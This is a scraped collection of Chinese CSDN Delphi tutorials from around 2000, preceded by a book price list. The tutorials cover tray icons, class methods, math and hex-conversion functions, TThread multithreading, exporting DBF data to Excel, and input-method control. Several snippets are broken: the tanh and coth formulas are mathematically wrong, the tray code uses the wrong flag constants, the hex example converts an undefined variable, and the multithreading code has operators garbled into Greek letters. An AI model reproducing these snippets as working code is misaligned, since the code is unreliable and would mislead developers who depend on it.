版主答疑—— Delphi 高级编程技巧 岳庆生 2000-5-1 49.00元
Delphi 5编程基础 吴小前 马亮 2000-4-1 27.00元
Delphi 4.0入门与提高 邓毅等 1999-12-1 34.00元
Delphi 4.0/5.0 高级类参考详解 张济 袁野 王秀娟 1999-11-1
55.00元
Delphi 4.0 数据库与 Internet 开发指南 潘将一 1999-10-1 32.00元
Delphi 5 标准教程 Inprise 公司 1999-8-1 49.00元
Delphi 4.0/5.0 高级类参考详解 张济等 1999-8-1 55.00元
Delphi数据库应用程序开发技术（配盘） 赵立平等 1999-8-1 29.00元
精通 Delphi 4.X 刘臣勇 1999-8-1 38.00元
Delphi 4.0 开发与应用教程 黄维通等 1999-8-1 52.00元
Delphi 4.0/5.0 类参考详解 秦绪佳等 1999-7-1 48.00元
学用 Delphi 4 刘海涛 1999-6-1 39.00元
精通Delphi 4.X 刘臣勇 邓志鸿 李斌 曹智威 1999-5-1 38.00元
Delphi 3.0入门与提高 曾东等 1998-12-1 26.00元
Delphi 2.0入门与提高 刘文智等 1998-12-1 32.00元
Delphi 3.0/4.0多媒体与数据库编程 吴旭东等 1998-10-1 29.00元
Delphi 3.0数据库开发指南 张威 1998-10-1 22.00元
Delphi 3.0编程参考手册 （美）P.Thurrott 1998-8-1 98.00元
Delphi实战教程 鑫万博公司 1997-8-1 78.00元
Delphi程序设计(1.0和2.0版) 黄建华 1997-1-1 40.00元
Delphi——从入门到精通 张育荣等 1996-8-1 26.00元
Windows网络编程之Delphi篇 萧秋水、文娟 35.00元
Delphi 5开发指南 谢玉凤 姜进磊 40.00元


CSDN_文档中心_Delphi托盘编程实战演练

很多人认为Delphi是一个RAD工具，包括我本人在上学的时候对Delphi也有偏见，现在走出了“象牙塔”，涉及的面广了，遇到的问题多了，慢慢地也有了自己的一点心得体会。其实,Delphi是基于Object Pascal 语言的开发工具，也就是说Delphi本质上是一种语言工具，并且是真正的面向对象的。下面我举的例子就是用Delphi实现的一个托盘小程序。程序短小精悍，脉络分明，我将对关键部分进行详细讲解。就象候俊杰先生把MFC一层一层地剥开一样，今天我也来一次“庖丁解牛”。

在Delphi中涉及到系统编程的方面毫无例外都要调用API函数，在ShellAPI.pas单元中有要用到的API函数的原型。

实战演练：

一．新建一个应用程序：File->New Applicaton 在Interface部分定义一个消息常量：const WM_NID=WM_USER+1000; 系统规定从WM_USER开始为用户自定义消息。

二．定义一个全局变量： NotifyIcon:TNotifyIconData，NotifyIcon是非常重要的一个变量，整个程序基本上是围着这个变量在转。TNotifyIconData是一个记录类型，按住Ctrl键，在TNotifyIconData 双击即进入ShellAPI.pas单元。（注：在Delphi中，这是一个非常好的对源代码进行分析的方法，源代码说明一切，你要想知道程序背后的内幕，最好的方法就是分析源代码！）此时出现了以下赋值语句：

TNotifyIconData = TNotifyIconDataA，这个意思很明显，就是说TNotifyIconData和TNotifyIconDataA是同种数据类型，接着往下看有：

TNotifyIconDataA = _NOTIFYICONDATAA，意思与刚才的一样，再往下看：

type

_NOTIFYICONDATAA = record

cbSize: DWORD;

Wnd: HWND;

uID: UINT;

uFlags: UINT;

uCallbackMessage: UINT;

hIcon: HICON;

szTip: array [0..63] of AnsiChar;

end;

这可真是“千呼万唤始出来，犹抱琵琶半遮面”。现在大家很清楚了，我们刚才定义的全局变量NotifyIcon其实是一个包含有7个成分的记录类型变量，就相当于C/C++中的结构体变量（C/C++的程序员应该是再熟悉不过了）。下面我们逐个来解释记录类型中的7个部分各有什么功能。

1> cbSize就是你定义的NotifyIcon变量的大小，用SizeOf(TNotifyIconData)可以取得，如果你是一个熟练的C/C++程序员，你应该不会陌生。在C/C++中，每当要为一个结构体变量分配内存的时候都要：通过 SizeOf(Struct type) 来获知存放一个这样的结构体变量要多少内存。

2> Wnd是一个句柄，你希望托盘程序产生的消息有哪个窗体来处理就让Wnd指向那个窗体。

例如：你准备在任务栏的托盘小图标上单击时窗体是窗体在“显示”和“隐藏”之间切换，则把Wnd指向主窗体。

3> uID:如果你要创建多个托盘小程序，那么怎么区分它们呢？就是靠这个ID号来区分。

3> uFlags是一个标志位，它表示当前所创建的托盘程序具有哪些性质：

NIF_ICON 表示当前所设置的图标（即hIcon的值）是有效的

NIF_MESSAGE 表示当前所设置的系统消息（即uCallBackMessage的值）是有效的

NIF_TIP 表示当前所设置的提示条（即szTip的值）是有效的。

4> uCallBackMessage这是7个部分里面最重要的一个。这里指定一个回调消息，也就是说这里定义一个消息名，当你单击或者右击托盘图标的时候就会向你在Wnd所指向的窗体发送一个在uCallBackMessage中定义的消息名，然后你在程序中定义一个消息出来函数来处理这个消息。这样就把Windows关于消息的整套流程都处理好了。

6> hIcon为托盘图标的句柄，根据这个句柄你就可以增加、修改、删除图标。

7> szTip就是当你的鼠标放到任务栏托盘的小图标上的时候弹出来的提示信息。

在这里我花了大量的笔墨介绍TNotifyIconData的内幕，把这部分搞清楚了，后面的东西就顺理成章了。

三． 双击主窗体，进入FormCreate的代码区域：

TForm1.FormCreate(Sender:TObject);

Begin

//NotifyIcon为全局变量，在程序的开头已经定义了

with NotifyIcon do

begin

cbSize:=SizeOf(TNotifyIconData);

Wnd:=Handle; //指向当前窗体Form1的句柄

uID:=1;

uFlags:=NIM_ICON or NIM_MESSAGE or NIM_TIP;

uCallBackMessage:=WM_NID;

hIcon:=Application.Icon.Handle;

szTip:=”张家恶少”；

end;.

//把设置好的变量NotifyIcon加入到系统中以便处理

Shell_NotifyIcon(NIM_ADD,@NotifyIcon);

End;

四．接下来就是定义一个消息处理函数：系统给窗体发来了一个消息，就由下面这个函数来处理。每个消息处理函数都是处理某一类消息的，大家仔细地看看下面函数体的定义和一般的函数定义有什么不一样：消息处理函数要在后面加上消息的名称，这样当系统发来WM_NID消息时，就是自动触发WMNID消息处理函数。

procedure WMNID(var msg:TMessage);message WM_NID;

begin

case msg.LParam of

WM_LBUTTONUp; Form1.Visible:=not Form1.Visible;

WM_RBUTTONUP: ShowMessage(‘您点击的是右键’);

End;

End;

好了，一个最简单的程序诞生了，大家自己设置好自己喜欢的图标.

Project->Options,选中Application页面，在Icon项中加载自己喜欢的图标，这样程序运行时，在任务栏里显示的就是你喜欢的图标了。当你单击图标时，窗体Form1会在可见与不可见之间切换，也就是说单击一下显示，再单击一下又隐藏。当你右击图标的时候会弹出一条消息：“你点击的是右键”。

五．最后要记住在关闭应用程序的时候要释放掉建立的托盘程序，否则会占用系统资源。

TForm1.FormDestroy(Sender:TObject);

Begin

Shell_NotifyIcon(NIM_DELETE,@NotifyIcon);

End;

毕业快半年了，很多东西在学校总理解不了，认识不够深刻；出到社会，接触了不少道中朋友，受益非浅，每有心得体会，总想写成文字，一来总结自己学的东西，二来和大家共同交流。

E_Mail: zhangyi1980912@sina.com QQ: 8133413 张家恶少


CSDN_文档中心_Delphi系列谈之:Delphi中的静态属性及静态方法的实现

在学习Delphi时常有些心得,在此写出来,供大家参考,如有错误或不妥之处还望指教.

使用过c++的人都知道在c++的类中有静态属性及静态方法,为程序设计带来很多方便.那么在Delphi中静态属性及静态方法是怎么实现的呢?请看下面的实例:

unit Unit2;

interface

type
TMyClass = Class
public
{静态过程:设置静态属性的值}
class procedure SetStaticMemberValue(AString: string);
{静态函数:读取静态属性的值}
class function GetStaticMemberValue: string;
end;

implementation
{在此声明静态属性,这一点与c++有很大的不同}
var
AStaticMember: string;

class function TMyClass.GetStaticMemberValue: string;
begin
Result := AStaticMember;
end;

class procedure TMyClass.SetStaticMemberValue(AString: string);
begin
AStaticMember := AString;
end;

end.

那么在TMyClass中声明的属性及方法是否是静态属性或静态方法呢?请看下面的实例:

...
uses unit2
...

procedure TForm1.Button2Click(Sender: TObject);
begin
{不需声明TMyClass的实例,可直接设置及读取静态属性的值}
TMyClass.SetStaticMemberValue('MyClass');
showmessage(TMyClass.GetStaticMemberValue);
end;


CSDN_文档中心_Delphi下常用数学运算函数

Delphi数学运算函数
作者:lyboy99
e-mail:lyboy99@sina.com
url: http://hnh.126.com
给大家提供几个常用函数,希望可以对你有帮助.
用下面的函数可以轻松,设计个强大的科学计算机器.

function rnd(arg1:double):double;
Begin
result := Random * int(arg1);
end;

function arcsinh(arg1:double):double;
begin
result:=Ln(arg1+sqrt(1+power(arg1,2)));
end;

function arccosh(arg1:double):double;
begin
result :=Ln(arg1+sqrt(power(arg1,2)-1));
end;

function arctanh(arg1:double):double;
begin
result :=Ln((1+arg1)/(1-arg1))/2;
end;

function arcsech(arg1:double):double;
begin
result :=Ln((1/arg1)+sqrt(power((1/arg1),2)-1));
end;

function arccosech(arg1:double):double;
begin
result :=Ln((1/arg1)+sqrt(1+power((1/arg1),2)));
end;

function arccoth(arg1:double):double;
begin
result :=Ln((1+(1/arg1))/(1-(1/arg1)))/2;
end;

function degarcsin(arg1:double):double;
begin
result :=arcsin(DegToRad(arg1));
end;

function arcsec(arg1:double):double;
begin
result := arccos(1/arg1);
end;

function degarcsec(arg1:double):double;
begin
result := RadToDeg(arccos(1/arg1));
end;

function arccosec(arg1:double):double;
begin
result := arcsin(1/arg1);
end;

function degarccosec(arg1:double):double;
begin
result := RadToDeg(arcsin(1/arg1));
end;

function degarccos(arg1:double):double;
begin
result :=arccos(DegToRad(arg1));
end;

function arccot(arg1:double):double;
begin
result := arctan(1/arg1);
end;

function degarccot(arg1:double):double;
begin
result := RadToDeg(arctan(1/arg1));
end;

function cosech(arg1:double):double;
begin
result := 2/(exp(arg1)-exp(-arg1));
end;

function sech(arg1:double):double;
begin
result := 2/(exp(arg1)+exp(-arg1));
end;

function tanh(arg1:double):double;
begin
result := (exp(arg1)-exp(arg1))/(exp(arg1)+exp(-arg1));
end;

function coth(arg1:double):double;
begin
result := (exp(arg1)+exp(arg1))/(exp(arg1)-exp(-arg1));
end;

function degarctan(arg1:double):double;
begin
result:= RadToDeg(arctan(arg1));
end;

function arg(arg1,arg2:double):double;
begin
if arg1 < 0 then
result := arctan(arg2/arg1)+Pi
else
if arg1>0 then
result := arctan(arg2/arg1)
else
if arg2 > 0 then
result := 0.5 * Pi
else
result := -0.5 * Pi;
end;

function sinh(arg1:double):double;
begin
result := (exp(arg1)-exp(-arg1))*0.5;
end;

function cosh(arg1:double):double;
begin
result := (exp(arg1)+exp(-arg1))*0.5;
end;

function cot(arg1:double):double;
begin
if Abs(arg1)>0.000000001 then result := cotan(arg1) else result :=100000;
end;

function cotrad(arg1:double):double;
begin
result := cotan(DegToRad(arg1));
end;

function sec(arg1:double):double;
begin
result := 1/cos(arg1);
end;

function cosec(arg1:double):double;
begin
if Abs(arg1)>0.000000001 then result:= 1/sin(arg1) else result:=1000000;
end;

function tanrad(arg1:double):double;
begin
result := tan(DegToRad(arg1));
end;

function sinrad(arg1:double):double;
begin
result := sin(DegToRad(arg1));
end;

function cosrad(arg1:double):double;
begin
result := cos(DegToRad(arg1));
end;

function cosecrad(arg1:double):double;
begin
result := 1/sin(DegToRad(arg1));
end;

function secrad(arg1:double):double;
begin
result:= 1/cos(DegToRad(arg1));
end;

function blanc(arg1:double):double;
Var
temp,res:extended;
count:integer;
begin
Begin
res:=0;
for count := 0 to 49 do
begin
arg1:=arg1-int(arg1-(Ord(arg1<0)));
if (arg1)<0.5 then temp:=(arg1) else temp:=(1-arg1);
res:=res+ temp/(power(2,count));
arg1:=2*arg1;
end;
end;
result:=res;
end;

function min(arg1,arg2:double):double;
begin
if arg1 < arg2 then
result := arg1
else
result := arg2;
end;

function max(arg1,arg2:double):double;
begin
if arg1 < arg2 then
result := arg2
else
result := arg1;
end;

function heaviside(arg1:double):double;
begin
if arg1 < 0 then
result := 0
else
result := 1;
end;

function sign(arg1:double):double;
begin
if arg1 < 0 then
result := -1
else
if arg1 > 0 then
result := 1.0
else
result := 0.0;
end;

function zero(arg1:double):double;
begin
if arg1 = 0.0 then
result := 0.0
else
result:= 1.0;
end;

function ceil(arg1:double):double;
begin
if frac(arg1) > 0 then
result:= int(arg1 + 1)
else
result:= int(arg1);
end;

function floor(arg1:double):double;
begin
if frac(arg1) < 0 then
result:= int(arg1 - 1)
else
result:= int(arg1);
end;

function radius(arg1,arg2:double):double;
begin
result:= sqrt(sqr(arg1)+sqr(arg2));
end;


CSDN_文档中心_Delphi下常用转换(一)

Delphi下常用转换
作者:lyboy99
e-mail:lyboy99@sina.com
url: http://hnh.126.com
给大家提供几个常用的转换方法和其转换函数
希望可以对你有帮助

1.HEX -> Integer
2.2.Dec To HEX
3.ASCII to HEX / math
4.Binary to decimal

==============================================================
1.HEX -> Integer
==============================================================
方法. 1
--------------------------------------------------------------------------------

var
i : integer
s : string;
begin
s := '$' + ThatHexString;
i := StrToInt(a);
end;

--------------------------------------------------------------------------------

方法. 2

--------------------------------------------------------------------------------

CONST HEX : ARRAY['A'..'F'] OF INTEGER = (10,11,12,13,14,15);
VAR str : String;
Int,
i : integer;
BEGIN
READLN(str);
Int := 0;
FOR i := 1 TO Length(str) DO
IF str[i] < 'A' THEN Int := Int * 16 + ORD(str[i]) - 48
ELSE Int := Int * 16 + HEX[str[i]];
WRITELN(Int);
READLN;
END.

===================================================
2.Dec To HEX

--------------------------------------
HexString := Format('%0x',DecValue);
--------------------------------------

====================================================
3.ASCII to HEX / math
------------------------
unit Hexstr;

interface
uses String16, SysUtils;

Type
PByte = ^BYTE;

procedure BytesToHexStr(var hHexStr: String; pbyteArray: PByte; InputLength: WORD);
procedure HexStrToBytes(hHexStr: String; pbyteArray: Pointer);
procedure HexBytesToChar(var Response: String; hexbytes: PChar; InputLength: WORD);

implementation
procedure BytesToHexStr(var hHexStr: String; pbyteArray: PByte; InputLength: WORD);
Const
HexChars : Array[0..15] of Char = '0123456789ABCDEF';
var
i, j: WORD;
begin
SetLength(hHexStr, (InputLength * 2));
FillChar(hHexStr, sizeof(hHexStr), #0);
j := 1;
for i := 1 to InputLength do begin
hHexStr[j] := Char(HexChars[pbyteArray^ shr 4]); inc(j);
hHexStr[j] := Char(HexChars[pbyteArray^ and 15]); inc(j);
inc(pbyteArray);
end;
end;

procedure HexBytesToChar(var Response: String; hexbytes: PChar; InputLength: WORD);
var
i: WORD;
c: byte;
begin
SetLength(Response, InputLength);
FillChar(Response, SizeOf(Response), #0);
for i := 0 to (InputLength - 1) do begin
c := BYTE(hexbytes[i]) And BYTE($f);
if c > 9 then
Inc(c, $37)
else
Inc(c, $30);
Response[i + 1] := char(c);
end;{for}
end;

procedure HexStrToBytes(hHexStr: String; pbyteArray: Pointer);
{pbyteArray must point to enough memory to hold the output}
var
i, j: WORD;
tempPtr: PChar;
twoDigits : String[2];
begin
tempPtr := pbyteArray;
j := 1;
for i := 1 to (Length(hHexStr) DIV 2) do begin
twoDigits := Copy(hHexStr, j, 2); Inc(j, 2);
PByte(tempPtr)^ := StrToInt('$' + twoDigits); Inc(tempPtr);
end;{for}
end;

end.

--------------------------------------------------------------------------------

--------------------------------------------------------------------------------

UNIT String16.
interface
{$IFNDEF Win32}
procedure SetLength(var S: string; Len: Integer);
procedure SetString(var Dst: string; Src: PChar; Len: Integer);
{$ENDIF}
implementation
{$IFNDEF Win32}
procedure SetLength(var S: string; Len: Integer);
begin
if Len > 255 then
S[0] := Chr(255)
else
S[0] := Chr(Len)
end;

procedure SetString(var Dst: string; Src: PChar; Len: Integer);
begin
if Len > 255 then
Move(Src^, Dst[1], 255)
else
Move(Src^, Dst[1], Len);
SetLength(Dst, Len);
end;
{$ENDIF}
end.

=================================================================
4.Binary to decimal
-----------------------------------------------------------------

////////////////////////////////////////////////
// convert 32 bit base2 to 32 bit base10 //
// max number = 99 999 999, return -1 if more //
////////////////////////////////////////////////

function Base10(Base2:Integer) : Integer; assembler;
asm
cmp eax,100000000 // check upper limit
jb @1 // ok
mov eax,-1 // error flag
jmp @exit // exit with -1
@1:
push ebx // save registers
push esi
xor esi,esi // result = 0

mov ebx,10 // diveder base 10
mov ecx,8 // 8 nibbles (10^8-1)
@2:
mov edx,0 // clear remainder
div ebx // eax DIV 10, edx mod 10
add esi,edx // result = result + remainder[I]
ror esi,4 // shift nibble
loop @2 // loop for all 8 nibbles
mov eax,esi // function result
pop esi // restore registers
pop ebx
@exit:
end;

--------------------------------------------------------------------------------

方法. 2
[Oliver Townshend, oliver@zip.com.au]

--------------------------------------------------------------------------------

function IntToBin(Value: LongInt;Size: Integer): String;
var
i: Integer;
begin
Result:='';
for i:=Size downto 0 do begin
if Value and (1 shl i)<>0 then begin
Result:=Result+'1';
end else begin
Result:=Result+'0';
end;
end;
end;

function BinToInt(Value: String): LongInt;
var
i,Size: Integer;
begin
Result:=0;
Size:=Length(Value);
for i:=Size downto 0 do begin
if Copy(Value,i,1)='1' then begin
Result:=Result+(1 shl i);
end;
end;
end;

===========================================================================


CSDN_文档中心_DELPHI下的多线程程序设计(1)

DELPHI下的多线程程序设计(1)

        我们知道，win95或winNT都是“多线程”的操作系统，在DELPHI 2．0中，我们可以充分利用这一特性，编写出“多线程”的应用程序。
    对以往在DOS或16位windows下写程序的人来说，“多线程”仍然是陌生的，但如同以前我们从DOS下的单任务过渡到windows3．1下的多任务，如今我们又必须过渡到“多线程”领域，毕竟计算机时代是在不断发展的。不过，幸运的是，在DELPHI2．0下进行多线程程序设计并不需要我们去学习庞大的WIN32API函数，我们可以利用DELPHI下标准的多线程类TThread来完成我们的工作。
    TThread是一个abstract（抽象）类，也就是说，并不需要根据TThread来声明变量（而且根据TThread声明的变量也是完全无用），我们要做的是把TThread作为基类，用继承的形式来生成子类。实际上，根据TThread来写多线程应用程序是非常容易的。
    下面就是一个基本的继承TThread生成的多线程类。
    QuerThrd．Pas
    unitQuerThrd；
    interface
    uses
    Classes，DBTables；
    type
    TQueryThreadΚclass（TThread）
    private
    fQuery：tQuery；
    protected
    procedureExecute；override；
    public
    constructorCreate（Suspended：Boolean；Query：TQuery）；
    end；
    implementation
    constructor
    TQueryThread．Create（Suspended：Boolean；Query：TQuery）；
    begin
    inheritedCreate（Suspended）；
    fQuery：ΚQuery；
    FreeOnTerminate：ΚTrue；
    end；
    procedureTQueryThread．Execute；
    begin
    fQuery．Open；
    end；
    end．
    在上面这个简单的例子中，我们构造了一个TThread的子类TQueryThread，用于在后台执行数据库查询。在该类的Create函数中，传递了两个参数Suspended和Query，其中Suspended用于控制线程的运行，如果Suspend为真，TQueryThread类的线程在建立后将立即被悬挂，一直到运行了Resume方法，该线程才会继续执行，Query参数用于接受一个已经存在的Query控件（在窗体中真正的Query控件）而使它在多线程的情况下运行。Execute是最重要的过程，它是类TQueryThread的执行部分，所有需要在这个多线程类中运行的语句都必须写在这个过程里。
    实际上构造自己的多线程类时，并不需要输入所有的这些代码，选择DELPHI的File菜单下的new选项，再选“TThreadObject”项目，DELPHI就会为你构造基本的程序模块。然后我们可以根据需要再做相应的修改。
    进程的执行：
    假设我们已经建立了一个窗体FORM1，窗体中有我们将要使用的查询控件Query1。那么我们在该单元的USES部分加入上面写的QuerThrd单元。
    procedureTForm1．Button1Click（Sender：TObject）；
    begin
    ｛建立一个运行的进程｝
    TQueryThread．Create（False，Query1）；
    end；
    如果这个过程被执行，那么窗体中的查询控件Query1就会自动在多线程的环境下运行查询。注意TQueryThread类中只有Create而没有Free，动态建立类以后又忘记删除是我们常犯的错误之一，不过在这里由于我们指定了FreeOnTerminate（运行完即删除）为真，所以当Execute里的语句执行完后，TQueryThread类占据的内存控件将被自动释放。
    然而还有一个问题值得我们注意，由于同一时刻可以有多个线程同时运行，那么我们还必须解决好同步的问题，如果几个多线程程序之间没有任何关联，那么它们之间也不会有任何冲突。但实际上，可能同时运行几个多线程的数据库应用程序，由于需要共享相同的数据库资源，我们还需要为Query1增加一个Tsession控件。
    其实，虽然我们也许没有亲自使用过Session控件，但实际上，在所有的数据库访问时DELPHI都会自动建立一个临时的Session控件，使用完后又动态地删除掉它。在平常的数据库编程时，用不着我们亲自来操作，但在数据库多线程执行的情况下，为了不相互冲突，我们必须为每个数据库访问都定制自己的Session控件。这个步骤非常简单，我们只需要在窗体中增加一个Session控件，然后给它的属性“Sessionname”写一个任意的名字，并再在Query1的“Sessionname”中写一个相同的名字。这样我们的数据库程序就安全了。
    另一类需要解决同步问题的是那些对VCL资源进行操作的程序，这类的程序非常多，好在解决的方法也非常简单。
    我们可以看下面这样一个程序：
    unitBncThrd；
    interface
    uses
    WinProcs，Classes，Graphics，ExtCtrls；
    type
    TBounceThreadΚclass（TThread）
    private
    FShape：TShape；
    FXSpeed：Integer；
    FYSpeed：Integer；
    procedureMoveShape；
    protected
    procedureExecute；override；
    public
    constructorCreate（Suspended：Boolean；Shape：TShape；XSpeed，YSpeed：Integer）；
    propertyShape：TShapereadFShape；
    end；
    implementation
    procedureTBouad．MoveShape；
    var
    MaxHeight，MaxWidth：Integer；
    begin
    withFShapedo
    begin
    Left：ΚLeft＋FXSpeed；
    Top：ΚTop＋FYSpeed；
    if（LeftΙ0）or
    （Left＋WidthΛParent．Width）then
    FXSpeed：ΚFXSpeed＊－1；
    if（TopΙ0）or
    （Top＋HeightΛParent．Height）then
    FYSpeed：ΚFYSpeed＊－1；


CSDN_文档中心_DELPHI下的多线程程序设计(2)

DELPHI下的多线程程序设计(2)

end；
    end；
    procedureTBounceThread．Execute；
    begin
    WhilenotTerminateddo
    begin
    Synchronize（MoveShape）；
    end；
    end；
    constructorTBounceThread．Create（Suspended：Boolean；Shape：TShape；XSpeed，YSpeed：Integer）；
    begin
    inheritedCreate（Suspended）；
    FShape：ΚShape；
    FXSpeed：ΚXSpeed；｛X轴走向的速度｝
    FYSpeed：ΚYSpeed；｛Y轴走向的速度｝
    FreeOnTerminate：ΚTrue；
    end；
    end．
    这是一个多线程的碰碰球游戏，你可以有多个不同的球，它们分属不同的线程，各自独立的在屏幕上碰撞。显然，由于多个球运行的显示会同时操作VCL资源，为了安全，我们在Execute过程中的执行部分加入了Synchronize（MoveShape）来调用MoveShape过程，实际上，在任何需要操作VCL资源的地方，例如窗体、位图，都应加入Synchronize调用。
    执行时我们可以新建一个程序，然后在USES部分加入以上的BncThrd单元，再在它的窗体FORM1上加入两个Shape控件Shape1和Shape2，Shape1可以是一个矩形而Shape2是一个圆。加入以下的代码就可以让矩形和圆动起来。
    procedureTForm1．Button1Click（Sender：TObject）；
    begin
    TBounceThread．Create（False，Shape1，1，2）；
    TBounceThread．Create（False，Shape2，2，3）；
    end；


CSDN_文档中心_DELPHI下调节器用EXCEL为其编辑和打印

DELPHI下调节器用EXCEL为其编辑和打印

    我们在常用的数据库应用程序中，编写报表程序比较麻烦，而且delphi中的报表程序由使用者修改也不方便，象一般的数据要加上一个表头，其中的一些数据要修改或要把几个表的数据组合成一个数据集后再打印，这些操作对于delphi中的报表程序来说无能为力，而在大多数的电脑上都装有office套件，我们能不能利用EXCEL的表格处理能力和固有的多种打印输出功能呢？答案是肯定的。我们利用EXCEL能处理DBASE文件的功能，只要我们的数据库文件和DBASE兼容就可以了。
    在delphi中的database desktop系统中，新建一个Table表的dbase IV(只能用dabse文件，因为EXCEL不认其它方式的文件)文件sample.dbf,可建立索引文件，在这里应注意的是在database desktop中只能输入英文字段，其实我们只用databse desktop建立文件结构，然后可以到vfp中修改成中文即可，对数据的初始化和字段的增减可在vfp中完成，大家可能要问为什么不在vfp中直接建立数据表文件，因为EXCEL根本不认vfp中的数据表，它读出的数据是杂乱的。
    建立好数据表sample.dbf后，在delphi中建立一个工程，然后选择file－>new中的data module模块，建立的data module好处是在各个表单可能通用，在datamodule1的components中添加数据源和数据表，设置相关项，数据表的databasename应设为c:\temp(你的dbf文件的目录)，把tablename设为你所设计的数据表(sample.dbf)，在form1上新建一个button按钮，caption为编辑打印，在它的onclick中加入如下代码：
    data.table1.close;//关闭当前数据表，如果不关闭可能造成数据不全
    if fileexists(extractfiledir(application.exename)＋‘\samplep.dbf') then DeleteFile(extractfiledir(application.exename)＋‘\samplep.dbf');
    //判断打印数据表samplep.dbf是否存在，如果存在就删除它
    copyfile(pchar(extractfiledir(application.exename)＋‘\sample.dbf'),pchar(extractfiledir(application.exename)＋‘\samplep.dbf'),true);
    //把sample.dbf拷贝成打印数据表samplep.dbf，samplep.dbf是编辑打印专用的，如果用sample.dbf则EXCEL会提示sample.dbf是只读文件，修改会死机
    data.table1.open;//打开当前数据表，使其处于活动状态
    shellexecute(0,‘open',‘EXCEL.EXE',pchar(extractfiledir(application.exename)＋‘\samplep.dbf'),pchar(extractfiledir(application.exename)),SW－SHOWMAXIMIZED);//调用excel并读取samplep.dbf文件到excel中，在头文件中要引用ShellAPI.
    这样就可利用EXCEL的表格功能和多打印功能，不必再去设计繁锁的报表程序了；我在为我单位编写的发票统计系统使用了这种方式，使用者感觉到很方便


CSDN_文档中心_DELPHI下汉字输入法的编程及使用

许多WINDOWS应用程序的中西文录入界面中，中西文的录入需要反复切换汉字输入法，使用起来非常繁琐。笔者在利用DELPHI开发某MIS的过程中，找到了一种比较简捷的解决办法。

    本文设计环境为DELPHI CLIENT/SERVER SUIT VER3.0(以下简称DELPHI3.0)，中文WINDOWS’95。

    一、DELPHI3.0下Imename 、Imemode属性

    在DELPHI3.0中Tedit、Tmemo、TmaskEdit等编辑元件在应用程序中经常使用，这三种元件都具有Imename、Imemode属性，Imename属性是输入法名称，在对象观察器中对应一包括当前系统中所有汉字输入法的下拉组合框，Imemode属性是输入法模式，在对象观察器中也对应一下拉组合框，组合框中包含imClose、imOpen、imChinese、imDontCare、imSAlpha、imAlpha六项内容：

     imClose 表示输入法处于关闭状态。

     ImOpen 表示输入法处于打开状态。

     ImChinese 表示处于中文输入法状态。

     ImDontCare 表示若输入法处于关闭状态，则打开最近一次

     使用过的输入法。

     ImSAlpha 表示输入处于半角状态。

     ImAlpha 表示输入处于全角状态。

    二、DELPHI下汉字输入法的编程

    在DELPHI3.0中，中西文录入界面中牵涉输入的元件都具有Imename、Imemode属性。在设计录入界面表单时，对其中每一元件这二种属性赋值，就可以在元件获得焦点时，系统自动打开或关闭你所设定的汉字输入法。但这种编程方法，对用户来说一点灵活性也没有，若系统所设定的输入法不是其所擅长的，他们只好再通过WINDOWS’95的输入法选择器重新进行选择。

    笔者通过在Form下放置一标签及下拉组合框，比较灵活的解决了这个问题，示例中的Forma共放置了四个Label、二个Edit 、一个ComboBox、Memo及Button。以下为示例说明：

    1、在DELPHI中选择File菜单下的New Application生成一新的应用程序。设定新窗体Form1的属性

     Caption=输入法编程示例

    2、在Form1中添加一两个标签Label1、Label2、Label3及编辑框Edit1、Edit2、Memo1，设定其属性

     Label1.Caption=中文输入编辑框

     Label1.Font.Size=12

     Label2.Caption= 西文输入编辑框

     Label2.Font.Size=12

     Label3.Caption= 中文多行文本编辑器

Label3.Font.Size=12

     Edit1.ImeMode=ImOpen

     Edit2.ImeMode=ImDontCare（缺省值）

     Memo1.ImeMode=ImOpen

    在编程时，对输入西文或西文为主的元件ImeMode属性一般设为缺省值即可；对输入中文或中文为主的元件，ImeMode属性一般设为Imopen，而ImeName属性值在程序运行时由用户设定 ，而此方法的灵活性正在于此。另外，将Edit1.Text、Edit2.Text、Memo1.Lines的值设为空。

    3、在Form1中添加一标签Label4，设定其属性:

     Caption = 选择最喜欢的输入法

     Font.Size=12

     Font.Color=红色

    4、在Form1中添加一下拉组合框Combobox1，在对象观察器OBJECT INPECTOR中选择事件列EVENT，双击OnDropDown，对此事件编程，写入以下代码：

     ComboBox1.Items.CommaText:=Screen.Imes.CommaText;

    以便将中文 WINDOWS’95中已安装的汉字输入法添加到下拉组合框中，此处巧妙地利用了TSCREEN类的IMES特性，而IMES特性本身又是一个TSTRING类，其属性Commatext 包含了Windows’95已安装的汉字输入法，将其直接赋值给ComboBox1的相应属性。否则，如果直接编辑ComboBox1的属性Items，添加汉字输入法名称，会在应用程序发布时，因用户机器汉字输入法的不确定性，造成应用程序的不通用。

    5、再在对象观察器中双击OnExit事件，写入以下代码：

     Edit1.Imename:=ComboBox1.Text;

     Memo1.Imename:=ComboBox1.Text;

     6、 在Form1中添加一命令按钮Button1，设置其属性：

     Caption=退 出

     Font.Size=12

     双击此命令按钮，对其Click事件编程，写入以下程序：

     Close；

     7、整个示例程序设计过程完成，保存此应用程序及表单，此时编译、运行，其界面如下:

     首先，利用下拉组合框选择你所喜欢的汉字输入法，将光标移到中文输入编辑框中，会发现你选择的汉字输入法自动在屏幕上出现，再将光标移到西文输入编辑框中，汉字输入法自动关闭，如果将光标放到中文多行文本编辑器中，已选择的汉字输入法又自动出现。

    三、结束语

     从上面的程序代码可以出，在应用程序的录入界面中，设置一输入法选择下拉组合框，并让其控制录入界面中所有可输入项的Imename属性，既可以做到在中西文录入时不用进行录入法的来回选择，更可以做到让用户选择其最喜欢的汉字输入法，录入界面对用户来讲非常友好、方便、快捷。


CSDN_文档中心_Delphi与Excel的亲密接触

